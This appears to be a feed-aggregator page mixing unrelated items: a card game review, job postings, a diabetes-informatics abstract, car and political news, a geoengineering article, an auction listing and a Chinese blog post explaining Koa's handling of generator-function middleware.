We all had suggestions for Peeps that we'd like to see added, or Peeps that we really weren't enthusiastic about--but fortunately that's the kind of feedback that the creators are very open to! My son said he'd love to see more characters with a profession attached (like Dr. Kali), while my daughter hopes for more characters from mythologies of all cultures (maybe Thoth from Egypt).

The only other complaint I heard was that everyone wanted more! Even knowing that the final game will have almost double this number of cards, everyone agreed that if the game was even bigger with a couple hundred Picture and Word Cards, that we could keep playing for hours.



Players Who Like:
If you like storytelling and judging games like Dixit, Snake Oil, and Apples to Apples, you'll enjoy Carrot & Stick!



Final Thoughts:
Carrot & Stick is a zany, colorful, imaginative storytelling card game which inspires ever-more complicated and intertwined stories and brings a feeling of community to the table. It was a hit with our family and we hope to see more, more, more from Carrot & Stick on Kickstarter and in the future!


          User Experience Design Lead      Cache   Translate Page      
MI-Allen Park, The Ford UX Design group is a growing team committed to envisioning and creating simple, thoughtful, enjoyable, and compelling experiences that makes people's lives better. Our diverse Global UX Design Team - situated in greater Detroit, Palo Alto, London, Brazil, and Shanghai - is comprised of UX designers, design strategists, design researchers, prototypers, and project managers. Together our te
          (USA-MO-St. Louis) Engineering Technician      Cache   Translate Page      
PRIMARY DUTIES AND RESPONSIBILITIES TO BE PERFORMED: * Provides routine technical support to engineers and scientists on standard components, devices, material, products, processes and/or equipment * Responsibilities may include testing, modifying, reworking, repairing, and building electronic, optical or mechanical assemblies. * Work from standard wiring and assembly drawings, operation sheets, engineering specifications and sketches * Design and/or test prototype assemblies and production units * Capable of performing related manufacturing processes * Interpret and follow documents such as SOPs and safety rules * Ensure compliance with all safety and regulatory requirements applicable to the company in accordance with State and Federal regulations and any applicable certification required to maintain the certification * Interface with other departments to assure efficient flow of information and materials * Position requires the ability to coordinate several activities at the same time, and to - in response to changing operational conditions * Ability to read, and possibly develop, wiring diagrams, layout drawings, and engineering specifications for system or equipment modifications or expansion, and directs personnel performing routine installation and maintenance duties **About Aerotek:** **We know that a company's success starts with its employees. We also know that an individual's success starts with the right career opportunity. As a Best of Staffing** **Client and Talent leader, Aerotek's people-focused approach yields competitive advantage for our clients and rewarding careers for our contract employees. Since 1983, Aerotek has grown to become a leader in recruiting and staffing services. With more than 250 non-franchised offices, Aerotek's 8,000 internal employees serve more than 300,000 contract employees and 18,000 clients every year. Aerotek is an Allegis Group company, the global leader in talent solutions. Learn more at Aerotek.com.** Aerotek is acting as an Employment Business in relation to this vacancy. **Location:** St. Louis, Missouri **Posting ID:** 6530963-1726 **Pay Rate:** The company is an equal opportunity employer and will consider all applications without regards to race, sex, age, color, religion, national origin, veteran status, disability, sexual orientation, gender identity, genetic information or any characteristic protected by law.
          Zelfrijdende RangeRover rondt ring UK      Cache   Translate Page      
Een Range Rover Sport heeft als eerste zelfrijdend een route voltooid op een van de meest uitdagende wegen van het Verenigd Koninkrijk. Het prototype van de zelfrijdende Range Rover Sport wisselde succesvol van rijbaan, anticipeerde op het verkeer en nam rotondes op de uitdagende Coventry Ring Road.
          Robotics and Automation Technician - PRECISION RESOURCE CANADA - Cambridge, ON      Cache   Translate Page      
Source suppliers for components manufacturing, prototype parts, wire-cutting and secondary operations Develop (yours and others) innovative ideas into processes...
From Indeed - Wed, 10 Oct 2018 13:46:59 GMT - View all Cambridge, ON jobs
          Design and Development of a Context-Aware Knowledge-Based Module for Identifying Relevant Information and Information Gaps in Patients With Type 1 Diabetes Self-Collected Health Data.      Cache   Translate Page      
Related Articles

Design and Development of a Context-Aware Knowledge-Based Module for Identifying Relevant Information and Information Gaps in Patients With Type 1 Diabetes Self-Collected Health Data.

JMIR Diabetes. 2018 Jul 11;3(3):e10431

Authors: Giordanengo A, Øzturk P, Hansen AH, Årsand E, Grøttland A, Hartvigsen G

Abstract
BACKGROUND: Patients with diabetes use an increasing number of self-management tools in their daily life. However, health institutions rarely use the data generated by these services mainly due to (1) the lack of data reliability, and (2) medical workers spending too much time extracting relevant information from the vast amount of data produced. This work is part of the FullFlow project, which focuses on self-collected health data sharing directly between patients' tools and EHRs.
OBJECTIVE: The main objective is to design and implement a prototype for extracting relevant information and documenting information gaps from self-collected health data by patients with type 1 diabetes using a context-aware approach. The module should permit (1) clinicians to assess the reliability of the data and to identify issues to discuss with their patients, and (2) patients to understand the implication their lifestyle has on their disease.
METHODS: The identification of context and the design of the system relied on (1) 2 workshops in which the main author participated, 1 patient with type 1 diabetes, and 1 clinician, and (2) a co-design session involving 5 patients with type 1 diabetes and 4 clinicians including 2 endocrinologists and 2 diabetes nurses. The software implementation followed a hybrid agile and waterfall approach. The testing relied on load, and black and white box methods.
RESULTS: We created a context-aware knowledge-based module able to (1) detect potential errors, and information gaps from the self-collected health data, (2) pinpoint relevant data and potential causes of noticeable medical events, and (3) recommend actions to follow to improve the reliability of the data issues and medical issues to be discussed with clinicians. The module uses a reasoning engine following a hypothesize-and-test strategy built on a knowledge base and using contextual information. The knowledge base contains hypotheses, rules, and plans we defined with the input of medical experts. We identified a large set of contextual information: emotional state (eg, preferences, mood) of patients and medical workers, their relationship, their metadata (eg, age, medical specialty), the time and location of usage of the system, patient-collected data (eg, blood glucose, basal-bolus insulin), patients' goals and medical standards (eg, insulin sensitivity factor, in range values). Demonstrating the usage of the system revealed that (1) participants perceived the system as useful and relevant for consultation, and (2) the system uses less than 30 milliseconds to treat new cases.
CONCLUSIONS: Using a knowledge-based system to identify anomalies concerning the reliability of patients' self-collected health data to provide information on potential information gaps and to propose relevant medical subjects to discuss or actions to follow could ease the introduction of self-collected health data into consultation. Combining this reasoning engine and the system of the FullFlow project could improve the diagnostic process in health care.

PMID: 30291097 [PubMed]


          Trump Administration Borrows a Cruel Page from His Past: Questioning Citizens' Birth Certificates      Cache   Translate Page      
This is a dark turn, even for the Trump administration.

President Donald Trump's harmful and clearly racist obsession with enforcing draconian immigration restrictions has taken another pernicious turn and appears to be targeting hundreds of Hispanic Americans who live near the U.S.-Mexico border, according to a new report from the Washington Post.

The new report found that hundreds, if not thousands, of people living on the border have been denied passports by the State Department over skepticism about their birth certificates. It's true, the report says, that some midwives in the area have created falsified birth records in the past, but many of these same people created legitimate birth records as well.

When it can't confirm that the document is legitimate, it seems, the department errs on the side of denying the passport. In one case the Postdocumented, a man provided additional evidence of his birthplace after being initially denied, only to be denied once again. He had to hire a lawyer to continue to appeal the decision — a move that can very costly for people with low incomes.

The practice also raises disturbing parallels with the issue that brought Trump into the modern political scene: Falsely attacking the legitimacy of President Barack Obama's birth certificate.

The State Department told the Post that it has not changed its policies with regard to passport applications. The report adds: "But cases identified by The Washington Post and interviews with immigration attorneys suggest a dramatic shift in both passport issuance and immigration enforcement."

Some of the people who have been denied passports have later even been jailed and placed into deportation proceedings, according to the Post.

The stunning report reveals the depths to which the administration will sink in its campaign against immigrants — or even just people it thinks might be immigrants. There's absolutely no reason that people who have lived in the United States their whole lives, who have official paperwork demonstrating their citizenship, should bear the burden of proof to show that their documentation is not a forgery.

 


          Lexus LFA prototype spied lapping the Nurburgring with new bodywork      Cache   Translate Page      

Filed under: Spy Photos,Lexus,Toyota,Coupe,Luxury,Performance

This could be a prelude to a new Lexus flagship.

Continue reading Lexus LFA prototype spied lapping the Nurburgring with new bodywork

Lexus LFA prototype spied lapping the Nurburgring with new bodywork originally appeared on Autoblog on Wed, 10 Oct 2018 11:00:00 EDT. Please see our terms for use of feeds.

Permalink |  Email this |  Comments
          Real-Time Code Generation Using AI Catches Designers And Developers By Surprise      Cache   Translate Page      


teleportHQ, a platform dedicated to open-source tools for user interface (UI) professionals, recently left designers and developers reeling with excitement over its ‘#ThinkToCode’ ecosystem.

Over on Twitter and LinkedIn, one of its videos demonstrating real-time code generation using artificial intelligence (AI) has been making its rounds on the social networks.

Dan Saffer, who works as a product design leader at Twitter, shared the video on the platform seeking help with finding its creator. “Anyone know who did this? It’s blowing my mind. Occasionally you see the future and I feel like this is one of those times,” Saffer wrote.

It was also highlighted by Mark Kelly, the founder of AI Awards, on LinkedIn.

Check out teleportHQ’s ‘#ThinkToCode’ ecosystem and see more responses below.

It's from @TeleportHQio (HT @andyyang)https://t.co/jFx1hpDc9a

— Dan Saffer (@odannyboy) October 8, 2018


It’s circling on LinkedIn as well. https://t.co/HBDMK0AD56. So cool.

— Christopher Robin (@IamUserX) October 9, 2018


Holy shit https://t.co/IoCgYkLW5t

— Dinesh Dave (@appleidinesh) October 9, 2018


pic.twitter.com/fiRoTv7WSY

— Startup Cardi Boo (@StartupCardiB) October 9, 2018


pic.twitter.com/WOeht89bsm

— Sadiyah Ali (@5adiali) October 9, 2018


Wow. 🤯

— Vish Amin (@VishalRAmin) October 10, 2018


My God! 😱😱😱😱😱😱😱😱😱😱😱😱😱😱😱😱😱😱😱🔥🔥🔥🔥🔥🔥😱😱😱😱😱😱😱🔥🔥🔥🔥🔥🔥😱😱😱😱😱😱😱😱😱😱😱🔥🔥🔥🔥😱😱😱🔥🔥🔥🔥🔥😱🔥😱😱😱😱😱😱😱😱😱😱😱😱😱😱😱😱😱😱😱😱😱🔥😱🔥😱😱😱😱😱😱😱😱😱😱😱😱😱😱😱

— Emmanuel Adigwe (@Igbo_Chuck) October 9, 2018


Indeed interesting that so many are surprised by this!

— IntuitionMachine (@IntuitMachine) October 9, 2018


I was at @jsheroes when you talked about it and thought it was a very nice crazy idea. So good to see it working!

— Isaac Besora (@ibesora) September 27, 2018


Woah!! #ThinkToCode #TheFutureIsHere https://t.co/jnD3TodxBA

— Manny Colon (@_mannycolon) September 23, 2018


After a busy summer, we're about to announce exciting developments over the next few weeks.
In the meantime, a short preview of our #ThinkToCode ecosystem in the making #MachineLearning #TensorFlow pic.twitter.com/HOjM7LUK0s

— teleportHQ (@TeleportHQio) September 4, 2018


Airbnb has done something similar https://t.co/I24dSJLCHI

— benarent (@benarent) October 8, 2018


And what @UizardIO is doing as a commercial product.

Initial prototype https://t.co/qf0NEANmBP

— Naushad Shaikh (@snaushads) October 9, 2018


Thanks for sharing my old research demo video! 😊 For a more up-to-date sneek peak in our product, check this out https://t.co/grfnYZMmsq

— Tony Beltramelli (@Tbeltramelli) October 9, 2018




[via odannyboy, main image screenshot via teleportHQ]
          (IT) Senior Java Developer - Oracle/UNIX (5781)      Cache   Translate Page      

Rate: CHF 850.- all in per Day (Subject to tax and deductions)   Location: Zurich, Switzerland   

For a project at our client's site, an international bank based in Zurich, we are looking for an experienced Senior Java Developer - Oracle/UNIX (5781). In this role the tasks consist on the one hand of development work in a Java Application Platform environment and on integration of standard software on the other. Your Qualifications: Strong software development and system engineering/architecture skills with various technologies like Oracle Databases/SQL, Linux and Java/JEE technologies Experience with developing with JAP (Java Application Platform) which includes a solid understanding of the JAP Tool-chain Knowledge about software distribution/deployment, eg RPM packaging Experience with MQSeries and Control-M Ability to efficiently collaborate and communicate with various parties Fluent written and spoken English, German skills are beneficial Your Responsibilities: Investigate and analyse changes, provide estimates and solutions; challenge Vendor estimates and solutions Java development/architecture work within a distributed ledger prototype Enhancement and extension of existing databases (Oracle), as well as low level data analysis with SQL Integration and testing of software changes either in in-house Java applications or in the vendor software Close and direct interaction with business representatives, other solution engineers, vendors, technical infrastructure and testing in a good and senior team Provide input to PL with respect to release planning and customer coordination Quality Assurance of all deliverables (software components, unit test cases, documentation, etc.) Off to new destinations! Apply now directly or contact our team.
 
Rate: CHF 850.- all in per Day (Subject to tax and deductions)
Type: Contract
Location: Zurich, Switzerland
Country: Switzerland
Contact: Senior Recruiter
Advertiser: iET SA
Email: Senior.Recruiter.723EE.01B79@apps.jobserve.com
Start Date: 01.11.2018
Reference: JS5781

          factory prototype battery and switch for Ossa TR280i      Cache   Translate Page      

Battery kit consists of 10x AA 1.2v 2000mAH NiMH batteries, joined to produce a 12v battery, packaged in heat wrap.

factory prototype battery and switch for Ossa TR280i#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000\


          factory prototype battery and switch for Ossa TR280i      Cache   Translate Page      

This photo shows the battery mounted behind the number plate or light if you have 2012 model.

The top connector is the head light so disregard that

The connector you will probably need to cut from the capacitor unless you can find a supplier for the plug - if you do find a supplier buy me some or tell me where to get them.

You can clearly see all the wiring, the battery replaces the capacitor in this configuration.

The red wire comming from the switch goes to earth, I have made a lead up to the kill switch and have connected the wire with the nut/bolt on the kill switch.

The only wiring modification you've had to make was to cut the connector from your factory capacitor.

factory prototype battery and switch for Ossa TR280i#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000\


          Front-end Developer (UX/UI) at DODO Design Agency      Cache   Translate Page      
DODO is a creative agency that helps businesses stand out in the market. Through human-centered processes, we help brands build unique experiences for their customers.We are recruiting to fill the position below:Job Title: Frontend Developer (UX/UI)Location:&nbsp;NigeriaJob DescriptionFront-end Developer who is able to combine design with programming. A creative thinker with experience and passion for user experience and user interface design.Job ResponsibilitiesStrong sense of web design and the fundamentals of user experience, including accessibilityImplementation of web design principles to ensure that websites are well designed across multiple devicesTranslation of the UI/UX design wireframes to actual code that will produce visual elements of the application, working on how the application looks as well as how it works.Design and develop rapid prototypes of HTML5/CSS3/JQuery front-end code across a broad array of interactive web and mobile projects.Able to create robust UI using HTML5, CSS3 and Javascript that works on multiple interfaces and environment.First-hand knowledge of user-centered design principles, and UX design practices and methodologies.Work with different team members to achieve pre-determined goals, and manage time across multiple projects and tasks in a deadline-driven, team environment.Develop, test and implement web UIs across multiple browsers, platforms, and devices, including smartphones and tablets.&nbsp;

Apply at https://ngcareers.com/job/2018-10/front-end-developer-ux-ui-at-dodo-design-agency-932/


          Agartha sort du congélateur sur Dreamcast      Cache   Translate Page      
La fin prématurée de la SEGA Dreamcast a entraîné un nombre conséquent d’annulation de jeux. Parmi ceux-ci figure Agartha, projet français de Frédérick Raynal, père d’Alone in the Dark. Il faudra attendre l’été 2017 pour qu’un prototype soit décongelé sur eBay. Janvier 2018, la démo est disponible grâce à l’obstination d’un fan que nous avons rencontré.
          1973 Porsche 911 Carrera RS 2.7 Prototype      Cache   Translate Page      

The Porsche 911 is one of the most distinguished high-performance sports cars in history. This 1973 Porsche 911 Carrera RS 2.7 Prototype (Chassis no. 0012) in a nostalgic Signal Yellow is the second one built out of only four. Later this month, RM Sotheby's will be auctioning off one very special RS 2.7, a pre-production prototype, of which nine were produced. This specific model was the second of nine prototypes and wears a beautiful Signal Gold exterior and is missing the signature ducktail spoiler of the production model. It also features slightly wider rear wheel fenders, an 85L gas tank, and chrome trim around the turn signals, a detail that was eventually changed to black. It’s expected to sell for around $1,500,000.[ link ]..(Read...)


          Senior Fullstack Developer (PHP/Drupal/WordPress & NodeJS) - Prototype Interactive - Dubai      Cache   Translate Page      
Write technical specifications and solution design documents (i.e.:. Do you believe code is art?...
From Prototype Interactive - Mon, 01 Oct 2018 05:10:30 GMT - View all Dubai jobs
          STUDENT ENGINEER - POWERTRAIN CONTROLS 03-01165      Cache   Translate Page      
TX-San Antonio, Job Summary: Assist powertrain control engineers and other project leaders in setting up, programming, troubleshooting, and maintaining rapid prototype control systems. Education/Experience: Must be pursuing a BS in Mechanical or Electrical Engineering from an accredited university. Must have at least a 3.0 GPA. Must have a familiarity with programming Labview, Matlab, and Simulink. Must have a fa
          GRADUATE STUDENT - ELECTROMAGNETICS 16-00897      Cache   Translate Page      
TX-San Antonio, Job Summary: Assist in several of the following design stages in the development of a reconfigurable antenna or antenna array: design, model, prototype, test, improve; Writing or modifying MATLAB software to simulate, or characterize antenna/array performance; Evaluate and/or improve modeled or measured impedance match and radiation patterns, and assessing model accuracy. Education/Experience: Mus
          Front End Developer - DevFacto - Edmonton, AB      Cache   Translate Page      
To map and model (xMind, Visio, Treejack), collect and organize user stories (VSTS, Stories On Board), prototype (Figma), test usability (Chalkmark),...
From DevFacto - Wed, 26 Sep 2018 01:13:12 GMT - View all Edmonton, AB jobs
          Front End Developer - DevFacto - Calgary, AB      Cache   Translate Page      
To map and model (xMind, Visio, Treejack), collect and organize user stories (VSTS, Stories On Board), prototype (Figma), test usability (Chalkmark),...
From DevFacto - Wed, 26 Sep 2018 01:13:12 GMT - View all Calgary, AB jobs
          Program Buyer      Cache   Translate Page      
MI-South Haven, Vibracoustic has an opening for a Program Buyer at our South Haven, MI technical center. The primary responsibility of the Program Buyer is the fulfillment of purchasing objectives of the BA/region for direct materials. Program Buyer Tasks: Define single PO, Tool PO, and Scheduling Agreements in ERP System. PO for prototypes, samples, serial and spare parts. Transfer projects to Logistics and Supp
          Android & iOS App Developer      Cache   Translate Page      
New project for kids aged 7-8 years who learn French language. For the first prototype we need someone who is able to program an APP: - with implemented image recognition - that launches an animated... (Budget: €250 - €750 EUR, Jobs: Android, iPad, iPhone, Mobile App Development)
          2020 Opel Insignia Sports Tourer spy shots      Cache   Translate Page      
Opel's Insignia lineup is about to be updated, as evidenced by the recent sighting of a concealed prototype testing on the Nürburgring. The particular tester is for the Insignia's Sports Tourer wagon body style, which we get here in jacked-up Buick Regal TourX soft-roader form. We also get the regular Insignia Grand Sport as our Buick Regal...
          Machine Operator      Cache   Translate Page      
MA-Billerica, Are you an experienced Tool Maker/Machinist? Are you looking for a direct hire position? We want you! Randstad is assisting our client with their 1st shift needs in Billerica, MA! Job duties include but not limited to: -Operate in house equipment to produce machined parts to support equipment builds, tooling, prototypes and production parts -Maintain sufficient level of in-house tooling Hours: 1st
          Possible First Color Image Of Takara Tomy LG-EX Big Powered      Cache   Translate Page      

We have a BIG suprise today. Via a post from Snakas Blog and Twitter user @Tagoal we have what seems to be our first colored image  of the impressive Takara Tomy LG-EX Big Powered. The resin prototype was shown at the All Japan Model & Hobby Show 2018. Big Powered is the final combination of the powerful Autobot Powered Masters Dai Atlas, Sonic Bomber and Road Fire as it was shown in the Transformers Zone TV-Magazine pages. The 3 components for this release are heavily retools (or with shared engineering) of Titans Return Misfire, Sky Shadow and Twin Twist.  We have now a small thumbnail, taken from the » Continue Reading.

The post Possible First Color Image Of Takara Tomy LG-EX Big Powered appeared first on Transformer World 2005 - TFW2005.COM.


          10/13/18: Timbuk2 Warehouse Sale: Up to 70% Off | Livermore - FREE      Cache   Translate Page      

Submitted by the Event Organizer
Timbuk2’s Warehouse Sale is back. Expect huge discounts (up to 70% off), samples and prototypes. You’ll find deals on backpacks, messenger bags, luggage, bike accessories, totally totes, crossbodies and more.
Plus the first 50 people will score a FREE GIFT with purchase, ...

The post Timbuk2 Warehouse Sale: Up to 70% Off | Livermore appeared first on Funcheap.


          Comment on Hands on Review of the Onyx InkPhone by Onyx is launching Boox Digital Signage in 2019      Cache   Translate Page      
[…] a few prototypes over the years that never saw a wide retail release or were cancelled, such as the Onyx Phone or the Boox Typewriter. (adsbygoogle = window.adsbygoogle || […]
          Bodies Without Organs - Prototype - Jelenlegi ára: 1 Ft      Cache   Translate Page      
CD: karcmentes!!!!!
MPL AUTOMATA ÁRA MEGVÁLTOZOTT!!!!! !!!!! !!!!! !!!!! !!!!! !!!!! !!!!
Sajnos a utobbi időben megszaporodtak a nehézségeim átadás tekintetében így újra kicsit módosítanom kellett az átvételt illetően!
- Az licitáljon csak bármire is akinek van pénze, és vásárolni is szándékozik!
- Licit törléssel nem foglalkozom, így mindenki gondolja végig mire és mennyiért licitál! Ha erre hivatkozva valaki nem kivánja utána átvenni a terméket azt minden esetben negatív értékeléssel honorálom!
- 5000Ft alatti vásárlás esetén a vásárló kérem egy héten belül vegye fel velem a kapcsolatot (mailben gyorsabb és nyoma is marad), az átadás meg két héten belül történjen meg. Ha ez  nem történik meg semmleges értékeléssel lezártnak ítélem az aukciót és újrahírdetem a terméket!
- Több temék licitálása esetén természetesen bevárom amíg lejár a többi termék is, de itt azért kérném, hogy az első megnyert tétel után maximum 1 hónappal (hiába van még több termékért versenybe a vásárló) rendezzük az addig megnyert / megvásárolt tételeket adásvételét. Ennek oka! 3-4 hónapig nem kivánok bevárni mindenféle aukciót! Tudom ez így több találkozással járhat vagy több postaköltséggel én mégis ragaszkodnék hozzá.
- Ha valakinek nincs ideje találkozni (pl 2 hónapot nem szándékozom várni egy 150Ft-os tétel átadására) választhatja a posta** lehetőségét is!  
Személyes átadásról ezeket kell tudni!
- A megadott kerülteben történik az átvétel! Akik gyakran vásárolnak tőlem, ott előfordulhat eltérés e véget, de egyszeri pár százas tételnél nem kívánok rugalmas lenni ilyen téren a továbbiakban.
- Az időpontokat én adom meg nem a vásárló!  
- A munkabeosztásom olyan amilyen, általában a délelötti órákban érek rá, így ezt is vegye figyelembe mindenki vásárlásnál.  
** Postázni csak a Magyar postán keresztül áll módomban. Ezen belül MPL csomagként (postán maradó lehet), illetve az MPL csomagautómata közül lehet választani. Mindkettőnél a sima postai árak a mérvadóak, vaterán rendelhető különböző MPL kedvezmények (VATERAFURTÁR stb. ) nem játszanak! Semilyen futáros megoldás nem játszik! Különböző egyébb opciók, hiába olcsóbb nem érdekel!  Tisztában vagyok vele, hogy vannak más lehetőségek, de én ezt a két opciót tudom felajánlani és egyedi kérésre se áll módomban változtatni ezen. A kiírt árak tájékoztató jellegűek, ha emel a posta én is nyilván az emelt áron postázom el csak a terméket! Ha valaki leütés után ezeket nem tartja tiszteletben és alkudozni kezd az árakról, sajnos mostantól negatív minősítésel díjazom.  

Bodies Without Organs - Prototype
Jelenlegi ára: 1 Ft
Az aukció vége: 2018-10-31 15:56
          Manufacturing Engineer      Cache   Translate Page      
MA-Reading, We are looking for an innovative, dynamic, technically skilled Manufacturing Engineer to support the new product development program for our client. This Engineer will be responsible for executing the Manufacturing Engineering activities required to introduce new Printed Circuit Board Assemblies including Design for Manufacturability, factory prototype support, and release to high volume productio
          There's almost no chance humanity will act quickly enough to prevent catastrophic climate change, so here are the geoengineering techniques that might cool the planet      Cache   Translate Page      

Smog in Beijing.

We are running out of time to prevent catastrophic effects of climate change from reshaping our world.

That's the message of the latest report by the Intergovernmental Panel on Climate Change (IPCC), which found that the world will start to experience some of the most severe effects of climate change once the planet warms 1.5 degrees Celsius over pre-industrial temperatures.

Human activity has already caused Earth's temperature to rise about 1 degree C, and another half-degree will make the effects we're already seeing much worse. Drought-prone regions will be much more likely to experience severe drought, and areas prone to heat waves or intense hurricanes will get more of those disasters, too. As glaciers melt and oceans expand, seas will continue to rise. These factors could trigger huge migrations of people and mass extinctions of animals. Most coral reefs will die, which could trigger rippling effects throughout the oceans.

Nations around the world pledged in the Paris agreement to try to prevent temperatures from rising more than 2 degrees by 2100. But this latest IPCC report found that the world is likely to cross the 1.5 degree barrier by 2040, with more than 3 degrees C of warming possible by 2100.

Preventing the world from crossing into that danger zone is still possible, but it'd require immense changes that are politically and practically unlikely. We'd have to cut greenhouse gas emissions 45% by 2030 compared to what they were in 2010. By 2050, we'd have to reduce emissions to zero.

Doing that would require an immediate, massive, coordinated transformation of the global economic system — especially the energy system — on a scale the world has never seen, the report authors said.

Since there's almost no chance of that happening, the world may resort to forms of geoengineering: implementing technologies that could modify Earth's atmosphere, seas, or skies in an attempt to cool the planet.

"Nothing suggests world will come close to meeting this goal on climate change," Richard Haass, the president of the Council on Foreign Relations, said on Twitter. "There is no US leadership, and the phrase 'international community' is more rhetoric than reality. We'd better set aside $ for adaptation and accelerate R&D on geoengineering."

No geoengineering technologies are ready yet for widespread use, and some of the methods are highly controversial — some experts even think their use could lead to global war. But the IPCC and other global organizations expect we'll need to resort to geoengineering to some degree. 

Here's how humanity might try to transform the planet in order to survive.

SEE ALSO: The world faces a future of floods, famine, and extreme heat — here’s what it’ll take to bounce back

The IPCC thinks it's likely that we'll need to use carbon-capture technology that can suck carbon dioxide out of the air and store it underground.

There are various ways to remove carbon from the atmosphere, ranging from simple, age-old approaches like planting trees to unproven advanced technologies.

New methods of carbon capture could involve trapping carbon emitted at power plants and storing it underground (a technique known as carbon capture and sequestration) or simply sucking CO2 out of the air and storing it (a concept known as direct air capture).

Futuristic as these technologies sound, they do exist — at least, in prototype forms. And it's quite possible that we'll need to use them. But unfortunately, the methods are far too expensive (or inefficient) to use on large scales, and it wouldn't make sense to implement them without putting a hefty price on carbon.

As the IPCC report says, "the effectiveness of such techniques are unproven at large scale and some may carry significant risks for sustainable development."

For these strategies to really help, they'd have to be improved and made economically viable before we heat the planet too far.



Some scientists think we could cool the planet with techniques that fall under the category of solar radiation management: limiting the heat Earth absorbs from the sun.

One of the most discussed forms of this technology takes a cue from volcanoes. When volcanoes erupt, the sulfur they pump into the sky reflects some of the sun's radiation back into space for a while. Artificially filling the sky with sulfur, therefore, could lead Earth to absorb less warmth from the sun's rays.

If humanity were to send planes to regularly release sulfur or some other chemical that reflected light into the stratosphere, this could cool the planet for as long as the flights continued. A number of researchers are studying and cautiously experimenting with this idea.

But it could come with serious drawbacks.



You can see how this strategy modifies the natural greenhouse effect — and the global warming effect caused by carbon dioxide emissions from fossil fuels — in the infographic below.

 



See the rest of the story at Business Insider
          UX Web Designer      Cache   Translate Page      
MA-Worcester, JOB DESCRIPTION: Job Duties * Create clickable prototype * Present findings and recommendations to clients * Self-manage own tasks and schedules Participates in the research and benchmarking of customer processes / systems. * Provides data collection support, input for proposals, and various project support activities. * Develops knowledge and expertise in industry trends and key issues and challe
          Machine Operator      Cache   Translate Page      
MA-Billerica, Are you an experienced Tool Maker/Machinist? Are you looking for a direct hire position? We want you! Randstad is assisting our client with their 1st shift needs in Billerica, MA! Job duties include but not limited to: -Operate in house equipment to produce machined parts to support equipment builds, tooling, prototypes and production parts -Maintain sufficient level of in-house tooling Hours: 1st
          Elon Musk’s Boring Company breaks ground for garage-elevator construction      Cache   Translate Page      

Last month, Elon Musk’s tunneling startup, The Boring Company, was granted an approval by the city council of Hawthorne, CA to build a prototype garage-elevator concept that would be linked to one of the company’s high-speed tunnels. Recent photos from Teslarati photographers Tom Cross and Pauline Acalin reveal that construction of the prototype elevator concept has […]

The post Elon Musk’s Boring Company breaks ground for garage-elevator construction appeared first on TESLARATI.com.


          Koa 生成器函数探寻      Cache   Translate Page      

虽然 Koa 要在下一个 major 版本里移除对生成器 generator 的支持, 但是看一看它对生成器的处理还是能够加深我们对生成器的理解的.

Koa 源码中和生成器有关的代码就以下几行, 判断 use 方法添加的函数是否是生成器函数, 是的话, 将它转换成异步函数. 其中调用的两个函数都是由周边库提供的.

if (isGeneratorFunction(fn)) { deprecate('Support for generators will be removed in v3. ' + 'See the documentation for examples of how to convert old middleware ' + 'https://github.com/koajs/koa/blob/master/docs/migration.md'); fn = convert(fn); } 复制代码 isGeneratorFunction

这些依赖都是很短小的单文件, 不如全部粘贴过来.

判断函数是否是一个生成器函数.

'use strict'; var toStr = Object.prototype.toString; var fnToStr = Function.prototype.toString; var isFnRegex = /^\s*(?:function)?\*/; // 这个似乎是用来检测当前执行环境有没有引入生成器函数, 还要再看看 var hasToStringTag = typeof Symbol === 'function' && typeof Symbol.toStringTag === 'symbol'; var getProto = Object.getPrototypeOf; var getGeneratorFunc = function () { // eslint-disable-line consistent-return // 如果没有 hasToStringTag, 直接返回 false 表示无法生成生成器函数 if (!hasToStringTag) { return false; } // 否则尝试利用 Function 生成一个生成器函数并返回 try { return Function('return function*() {}')(); } catch (e) { } }; var generatorFunc = getGeneratorFunc(); // 如果没有返回生成器函数, 返回一个空对象, 这样最后的判定就会失败 // 如果返回了一个生成器函数, 得到生成器函数的原型对象 var GeneratorFunction = generatorFunc ? getProto(generatorFunc) : {}; module.exports = function isGeneratorFunction(fn) { // 不是函数的话肯定也不是生成器函数 if (typeof fn !== 'function') { return false; } // 将这个函数转换成 string, 然后查看函数字面中是否包含 function*, 有则是一个生成器函数 // 但是这个判断是很不严谨的, 因为它强制要求写法为 function* // 而 function *boo 就没有办法识别了 if (isFnRegex.test(fnToStr.call(fn))) { return true; } // 如果上面的方法不行, 就尝试利用 toString 的方法 if (!hasToStringTag) { var str = toStr.call(fn); return str === '[object GeneratorFunction]'; } // 最后的方法, 通过原型对象判别 return getProto(fn) === GeneratorFunction; }; 复制代码 convert

并不是将生成器函数转换成异步函数, 而是让它能融入到 Koa 2.0 的工作流程中.

'use strict' const co = require('co') const compose = require('koa-compose') module.exports = convert function convert (mw) { if (typeof mw !== 'function') { throw new TypeError('middleware must be a function') } if (mw.constructor.name !== 'GeneratorFunction') { // assume it's Promise-based middleware return mw } // 真正核心的代码就这三行 // 返回了一个符合 koa 中间件函数签名要求的函数, 这个函数内部调用了 co const converted = function (ctx, next) { // co 函数和中间件在执行的时候, 绑定上下文到 ctx, 也就是 koa 的 context // mw.call 的时候, 返回了一个迭代器, 然后 co 去执行这个迭代器, 最终返回一个 Promise // 到这里我们有必要知道 koa 要求如何写一个生成器 return co.call(ctx, mw.call(ctx, createGenerator(next))) } converted._name = mw._name || mw.name return converted } // 这里的生成器返回了迭代器, 当在用户的生成器函数中调用 function * createGenerator (next) { return yield next() } // 后面两个方法没有用到, 省略 复制代码 Koa 对生成器的写法要求

在 Koa 1.x 版本中, 中间件要求是生成器函数, 写法如下:

function * legacyMiddleWare(next) { yield next } 复制代码

可以看到, createGenerator(next) 返回的迭代器就是这里的 next.

co

co 是一个迭代器的执行器, 返回一个 Promise.

